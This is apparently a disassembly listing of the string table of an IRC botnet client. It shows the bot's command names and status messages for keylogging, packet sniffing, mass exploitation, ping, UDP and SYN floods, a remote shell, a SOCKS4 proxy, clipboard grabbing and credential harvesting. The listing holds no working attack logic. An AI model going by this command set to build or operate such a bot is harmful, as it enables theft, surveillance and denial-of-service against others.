aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CE55+238Fo
align 10h
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CE55+2378o
align 4
aClone_p db 'clone.p',0 ; DATA XREF: sub_40CE55+2361o
aClone_part db 'clone.part',0 ; DATA XREF: sub_40CE55+234Ao
align 10h
aClone_j db 'clone.j',0 ; DATA XREF: sub_40CE55+2333o
aClone_join db 'clone.join',0 ; DATA XREF: sub_40CE55+231Co
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CE55+2305o
align 10h
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CE55+22EEo
align 4
aClone_m db 'clone.m',0 ; DATA XREF: sub_40CE55+22D7o
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CE55+22C0o
align 10h
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CE55+22A9o
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CE55+2292o
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CE55+227Bo
align 10h
aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CE55+2264o
align 4
aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CE55+224Do
align 4
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CE55+2236o
align 10h
aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CE55+221Fo
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CE55+2208o
align 4
aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CE55+21F1o
align 4
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CE55+21DAo
aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CE55+21C3o
align 10h
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CE55+21ACo
align 10h
aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CE55+2183o
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CE55+216Co
dword_435534 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EF73o
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_435564 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EF6Co
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_435598 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EF24o
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_4355C8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+20C8o
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: sub_40CE55+203Bo
align 4
dword_435604 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EE85o
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_435638 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+2026o
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40CE55+1FBEo
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40CE55+1FA3o
align 4
aPause db 'pause',0 ; DATA XREF: sub_40CE55+1F70o
align 4
aStop db 'stop',0 ; DATA XREF: sub_40CE55+1F58o
align 4
dword_43568C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40EDA2o
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 10h
dword_4356C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+1F43o
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 4
dword_4356F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CE55+1EBFo
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: sub_40CE55+1E9Bo
unk_43574C db 2 ; DATA XREF: sub_40CE55+1E5Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_24 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_43579C db 2 ; DATA XREF: sub_40CE55+1DEFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_4357D0 db 2 ; DATA XREF: sub_40CE55+1D71o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_435804 db 2 ; DATA XREF: sub_40CE55:loc_40EBA2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_435844 db 2 ; DATA XREF: sub_40CE55+1D43o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aBox_keylog db 'box.keylog',0 ; DATA XREF: sub_40CE55+1CE9o
align 10h
unk_4358A0 db 2 ; DATA XREF: sub_40CE55:loc_40EB34o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_4358DC db 2 ; DATA XREF: sub_40CE55+1CD5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 4
aOff db 'off',0 ; DATA XREF: sub_40CE55+1CB2o
; sub_40CE55+1D20o
unk_43592C db 2 ; DATA XREF: sub_40CE55+1CA7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_25 db 'Failed to start sniffer thread, error: <%d>.',0
align 4
unk_43597C db 2 ; DATA XREF: sub_40CE55+1C38o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 10h
unk_4359C0 db 2 ; DATA XREF: sub_40CE55+1BD4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_40CE55+1BB4o
; sub_40CE55+1CFEo
align 4
aSniff db 'sniff',0 ; DATA XREF: sub_40CE55+1B9Fo
align 10h
aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CE55+1B88o
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CE55+1B71o
align 4
aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CE55+1B5Ao
align 10h
aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CE55+1B43o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CE55+1B15o
; sub_40CE55+1B2Co
align 4
aEnz_v db 'enz.v',0 ; DATA XREF: sub_40CE55+1AFEo
align 4
aEnz_visit db 'enz.visit',0 ; DATA XREF: sub_40CE55+1AE7o
align 4
aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CE55+1AD0o
align 10h
aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CE55+1AB9o
align 10h
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CE55+1AA2o
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CE55+1A8Bo
aBox_del db 'box.del',0 ; DATA XREF: sub_40CE55+1A74o
aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CE55+1A5Do
align 4
aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CE55+1A46o
align 10h
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CE55+1A2Fo
align 10h
aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CE55+1A18o
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CE55+1A01o
align 4
aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CE55+19EAo
align 4
aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CE55+19D3o
aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CE55+19BCo
align 4
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CE55+19A5o
align 4
aBox_o db 'box.o',0 ; DATA XREF: sub_40CE55+198Eo
align 4
aBox_open db 'box.open',0 ; DATA XREF: sub_40CE55+1977o
align 4
aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CE55+1960o
align 10h
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CE55+1949o
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CE55+1932o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CE55+191Bo
align 4
aClone_q db 'clone.q',0 ; DATA XREF: sub_40CE55+1904o
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CE55+18EDo
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CE55+18D6o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CE55+18BFo
align 4
aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CE55+18A8o
align 10h
aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CE55+1891o
aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CE55+187Ao
align 10h
aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CE55+1863o
align 4
aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CE55+184Co
align 4
aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CE55+1835o
align 10h
aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CE55+181Eo
align 4
aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CE55+1807o
align 4
aVall db 'vall',0 ; DATA XREF: sub_40CE55+17E1o
align 4
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CE55+17CCo
align 10h
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CE55+17B7o
align 10h
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CE55+17A2o
align 10h
aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CE55+178Do
align 10h
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CE55+1778o
aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CE55+1763o
align 4
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CE55+174Eo
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CE55+1739o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CE55+1724o
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CE55+170Fo
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CE55+16FAo
align 4
aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CE55+16E5o
align 4
aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CE55+16D0o
dword_435C68 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+16BFo
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_40CE55+168Bo
; sub_415050+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40CE55+167Eo
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40CE55+165Co
align 4
aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CE55+1643o
aCmd db '[CMD]',0 ; DATA XREF: sub_40CE55+1638o
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CE55+1633o
align 4
aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CE55+161Ao
align 4
aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CE55+1605o
align 4
aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CE55+15F0o
aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CE55+15DBo
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CE55+15C6o
align 4
aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CE55+15B1o
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CE55+159Co
align 4
aBox_up db 'box.up',0 ; DATA XREF: sub_40CE55+1587o
align 4
aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CE55+1572o
align 4
aBox_key db 'box.key',0 ; DATA XREF: sub_40CE55+155Do
aBox_harvest db 'box.harvest',0 ; DATA XREF: sub_40CE55+1548o
aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CE55+1533o
align 4
aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CE55+151Eo
align 10h
aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CE55+1509o
aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CE55+14F4o
align 4
aBox_si db 'box.si',0 ; DATA XREF: sub_40CE55+14DFo
align 4
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CE55+14CAo
aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CE55+14B5o
align 10h
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CE55+14A0o
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CE55+148Bo
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CE55+1476o
align 4
aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CE55+1461o
align 10h
aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CE55+144Co
aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CE55+1437o
align 10h
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CE55+1422o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CE55+140Do
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CE55+13F8o
align 4
dword_435E08 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+13C4o
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 10h
dword_435E40 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+13BDo
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CE55+13A6o
align 4
aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CE55+1391o
align 4
aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CE55+137Co
align 4
aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CE55+1367o
align 4
aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CE55+1352o
align 10h
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CE55+133Do
align 4
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CE55+1328o
align 4
aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CE55+1313o
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CE55+12FEo
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CE55+12E9o
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CE55+12D4o
align 4
aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CE55+12BFo
aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CE55+12AAo
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CE55+129Fo
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40CE55+129Ao
align 10h
aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CE55+1281o
align 4
dword_435F1C dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40CE55+1276o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40CE55+1271o
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CE55+1258o
align 4
dword_435F44 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40CE55+124Do
aClone db 'Clone',0 ; DATA XREF: sub_40CE55+1248o
align 4
aClone_off db 'clone.off',0 ; DATA XREF: sub_40CE55+122Fo
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CE55+121Ao
align 4
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CE55+1205o
align 4
aBox_ff_off db 'box.ff.off',0 ; DATA XREF: sub_40CE55+11F0o
align 10h
aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: sub_40CE55+11DBo
align 4
dword_435FA4 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CE55+11D0o
aServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CE55+11B2o
dword_435FC0 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40CE55+11A7o
dword_435FCC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+11A2o
dword_435FD8 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40CE55+1189o
dword_435FE8 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40CE55+117Eo
dword_435FF4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1179o
dword_436000 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+1160o
dword_436010 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40CE55+1155o
dword_43601C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1150o
dword_436028 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+1137o
dword_436038 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+112Co
dword_436044 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+1127o
dword_436050 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+110Eo
dword_43605C dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40CE55+1103o
dword_43606C dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40CE55+10FEo
aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CE55+10E5o
dword_436090 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40CE55+10DAo
dword_43609C dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40CE55+10D5o
dword_4360A8 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40CE55+10BCo
dword_4360B0 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CE55+10B4o
dword_4360BC dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: sub_40CE55+1096o
dword_4360CC dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40CE55+108Eo
aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CE55+1070o
align 10h
dword_4360F0 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40CE55+104Eo
aServer db 'Server',0 ; DATA XREF: sub_40CE55+1049o
; sub_40CE55+1089o ...
align 4
aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CE55+1030o
align 4
aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CE55+101Bo
align 4
aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CE55+1006o
align 10h
aLd_off db 'ld.off',0 ; DATA XREF: sub_40CE55+FF1o
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40CE55+FDCo
align 4
aLd_on db 'ld.on',0 ; DATA XREF: sub_40CE55+FC7o
align 10h
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40CE55+FB2o
aEnz_ver db 'enz.ver',0 ; DATA XREF: sub_40CE55+F9Do
aEnz_version db 'enz.version',0 ; DATA XREF: sub_40CE55+F88o
aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CE55+F73o
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CE55+F5Eo
align 4
aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CE55+F49o
align 4
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CE55+F34o
aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CE55+F1Fo
align 10h
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CE55+F07o
a63 db '63',0 ; DATA XREF: sub_40CE55+DE0o
align 10h
asc_4361C0: ; DATA XREF: sub_40CE55+DB8o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40CE55+D7Bo
align 4
aServer_2 db '$server',0 ; DATA XREF: sub_40CE55+D70o
aRndnick db '$rndnick',0 ; DATA XREF: sub_40CE55+D5Fo
align 10h
aChan db '$chan',0 ; DATA XREF: sub_40CE55+D43o
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_40CE55+D32o
align 10h
aMe_0 db '$me',0 ; DATA XREF: sub_40CE55+D20o
aD_0 db '$%d',0 ; DATA XREF: sub_40CE55+CB2o
aD_1 db '$%d-',0 ; DATA XREF: sub_40CE55+BF7o
align 10h
aHi_0 db 'hi',0 ; DATA XREF: sub_40CE55+B1Fo
align 4
aNewshit db 'newshit',0 ; DATA XREF: sub_40CE55+B07o
dword_43620C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+AD5o
dd 2029206Ch, 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_436250 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+AC7o
dd 2029206Ch, 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 4
dword_436294 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+AB9o
dd 2029206Ch, 2BBBB02h
aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0
dword_4362DC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+A4Ao
dd 2029206Ch, 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_40CE55+9B3o
align 4
dword_436318 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+996o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_43636C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+978o
; sub_40CE55+4733o
dd 2029206Ch, 2BBBB02h
aFailedToSta_27 db ' Failed to start transfer thread, error: <%d>.',0
dword_4363B8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40CE55+967o
dd 0A0Dh
dword_4363D0 dd 4E495001h, 47h ; DATA XREF: sub_40CE55+933o
aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CE55+8EDo
align 4
dword_4363F4 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40CE55+8D3o
dd 0D017325h, 0Ah
dword_436410 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40CE55+8A2o
dword_43641C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+788o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40CE55+6E5o
align 4
dword_436464 dd 43434401h, 0 ; DATA XREF: sub_40CE55+6C7o
dword_43646C dd 323333h ; DATA XREF: sub_40CE55+64Eo
; sub_40CE55+B41o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_40CE55+62Co
; sub_412D4C+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40CE55+620o
; sub_412D4C+16o
dword_436480 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5CFo
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_4364B4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A8o
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40CE55+571o
aPart db 'PART',0 ; DATA XREF: sub_40CE55+523o
; sub_40CE55+5ECo
align 4
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40CE55+4FBo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_40CE55+3CDo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+36Eo
; sub_40CE55+610o
dword_436514 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+355o
; sub_40CE55+5A5Do ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40CE55+2E4o
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+28Do
; sub_40CE55+4AEBo ...
align 4
a433 db '433',0 ; DATA XREF: sub_40CE55+265o
a302 db '302',0 ; DATA XREF: sub_40CE55+22Ao
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1E4o
; sub_40CE55+3B4o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1C3o
align 10h
aPing db 'PING',0 ; DATA XREF: sub_40CE55+1A9o
align 4
asc_436588 db ' :',0 ; DATA XREF: sub_40CE55+86o
; sub_40CE55:loc_40D9EEo
align 4
dword_43658C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412B98+A4o
